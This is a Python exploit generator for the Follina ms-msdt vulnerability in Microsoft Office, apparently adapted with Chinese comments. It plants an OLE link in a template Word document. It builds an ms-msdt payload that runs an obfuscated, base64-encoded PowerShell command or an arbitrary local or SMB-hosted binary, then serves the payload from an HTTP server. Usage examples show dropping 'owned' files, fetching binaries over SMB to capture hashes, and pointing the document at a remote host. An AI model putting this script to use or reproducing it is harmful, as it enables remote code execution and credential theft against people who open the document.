follina.py

#!/usr/bin/env python3
import argparse
import http.server
import socketserver
import base64
import datetime
import zipfile, os
from pathlib import Path
from shutil import rmtree

r'''
usage: test1.py [-h] -m {binary,command} [-b BINARY] [-f FILE] [-c COMMAND] [-u URL] [-H HOST] [-P PORT]

optional arguments:
  -h, --help            show this help message and exit

Required Arguments:
  -m {binary,command}, --mode {binary,command}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Docx file Arguments:
  -f FILE, --file FILE  The docx file

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80



usage
默认docx muban.docx
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe
python .\follina.py -m binary -b \windows\system32\calc.exe -f muban2.docx

# On linux you may have to escape backslashes
python .\follina.py -m binary -b \\windows\\system32\\calc.exe

# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe

# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

'''

# docx文档解压
def docx_unzip(docx_path):
    unzip_path = docx_path.with_name(docx_path.stem)
    with zipfile.ZipFile(docx_path, 'r') as f:
        for file in f.namelist():
            f.extract(file, path=unzip_path)
    xml_path = unzip_path.joinpath('word/document.xml')
    with xml_path.open(encoding='utf-8') as f:
        xml_file = f.read()
    return unzip_path, xml_path, xml_file


# 讲文件夹中的所有文件压缩成docx文档
def docx_zipped(docx_path, zipped_path):
    with zipfile.ZipFile(zipped_path, 'w', zipfile.zlib.DEFLATED) as f:
        for file in docx_path.glob('**/*.*'):
            f.write(file, file.as_posix().replace(docx_path.as_posix() + '/', ''))


# 删除生成的解压文件夹
def remove_folder(path):
    if path.exists():
        rmtree(path)



def handle_docx(payload_url,docx_name):
    # 解压docx
    docx_path = os.getcwd() + "\\" +docx_name

    unzip_path, xml_path, xml_file = docx_unzip(Path(docx_path))
    # print(unzip_path, xml_path, xml_file)
    # 修改rels文件
    with open("src/document.xml.rels.tpl", "r") as f:
        tmp = f.read()
    payload_rels = tmp.format(payload_url=payload_url)
    # print(payload_rels)
    muban_xml_path = str(unzip_path) + "\\word\\_rels\\document.xml.rels"

    with open(muban_xml_path, "r") as f:
        document = f.read()
        document = document.replace("</Relationships>", payload_rels + "</Relationships>", 1)
    with open(muban_xml_path, "w") as f:
        f.write(document)
    # payload 写入document.xml
    string = r"""<w:object w:dxaOrig="4320" w:dyaOrig="4320" w14:anchorId="0457A93C"><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" filled="f" stroked="f"><v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/>
            <v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/>
            <v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/><v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/>
            <v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas>
            <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/>
            </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" style="width:3.75pt;height:3.75pt" o:ole="">
            </v:shape>
            <o:OLEObject Type="Link" ProgID="htmlfile" ShapeID="_x0000_i1025" DrawAspect="Content" r:id="rId1111" UpdateMode="OnCall">
            <o:LinkType>EnhancedMetaFile</o:LinkType><o:LockedField>false</o:LockedField><o:FieldCodes>\f 0</o:FieldCodes></o:OLEObject></w:object>"""
    with open(xml_path, "r", encoding="UTF-8") as d:
        document = d.read()
        document = document.replace("<w:sectPr", string + "<w:sectPr", 1)

    with open(xml_path, "w", encoding="UTF-8") as w:
        w.write(document)
    localtime = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
    docx_name = docx_name.split(".",1)[0]+"_"+localtime+".docx"
    print(docx_name)
    docx_zipped(unzip_path,docx_name)
    remove_folder(unzip_path)
    print(localtime,"生成成功：",docx_name)




if __name__ == "__main__":

    # Parse arguments
    parser = argparse.ArgumentParser()
    required = parser.add_argument_group('Required Arguments')
    binary = parser.add_argument_group('Binary Execution Arguments')
    file = parser.add_argument_group('Docx file Arguments')
    command = parser.add_argument_group('Command Execution Arguments')
    optional = parser.add_argument_group('Optional Arguments')
    required.add_argument('-m', '--mode', action='store', dest='mode', choices={"binary", "command"},
                          help='Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command',
                          required=True)
    binary.add_argument('-b', '--binary', action='store', dest='binary',
                        help='The full path of the binary to run. Can be local or remote from an SMB share')
    file.add_argument('-f', '--file', action='store', dest='file',default="muban.docx",
                        help='The docx file')
    command.add_argument('-c', '--command', action='store', dest='command',
                         help='The encoded command to execute in "command" mode')
    optional.add_argument('-u', '--url', action='store', dest='url', default='localhost',
                          help='The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"')
    optional.add_argument('-H', '--host', action='store', dest='host', default="0.0.0.0",
                          help='The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)')
    optional.add_argument('-P', '--port', action='store', dest='port', default=80, type=int,
                          help='The port to run the HTTP server on, defaults to 80')
    args = parser.parse_args()

    if args.mode == "binary" and args.binary is None:
        raise SystemExit(
            "Binary mode requires a binary to be specified, e.g. -b '\\\\localhost\\c$\\Windows\\System32\\calc.exe'")

    if args.mode == "command" and args.command is None:
        raise SystemExit(
            "Command mode requires a command to be specified, e.g. -c 'c:\\windows\\system32\\cmd.exe /c whoami > c:\\users\\public\\pwned.txt'")

    payload_url = f"http://{args.url}:{args.port}/exploit.html"

    if args.mode == "command":
        # Original PowerShell execution variant
        command = args.command.replace("\"", "\\\"")
        encoded_command = base64.b64encode(bytearray(command, 'utf-16-le')).decode('UTF-8')  # Powershell life...
        payload = fr'''"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{encoded_command}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""'''

    if args.mode == "binary":
        # John Hammond binary variant
        binary_path = args.binary.replace('\\', '\\\\').rstrip('.exe')
        payload = fr'"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$({binary_path})/.exe\""'

    handle_docx(payload_url,args.file)

    # Prepare the HTML payload
    if not os.path.exists("www"):
        os.makedirs("www")

    with open("src/exploit.html.tpl", "r") as f:
        tmp = f.read()

    payload_html = tmp.format(payload=payload)

    with open("www/exploit.html", "w") as f:
        f.write(payload_html)

    # print("Generated 'exploit.html' in 'www' directory")

    # exit(1)
    # Host the payload
    class Handler(http.server.SimpleHTTPRequestHandler):
        def __init__(self, *args, **kwargs):
            super().__init__(*args, directory="www", **kwargs)


    print(f"Serving payload on {payload_url}")
    with socketserver.TCPServer((args.host, args.port), Handler) as httpd:
        httpd.serve_forever()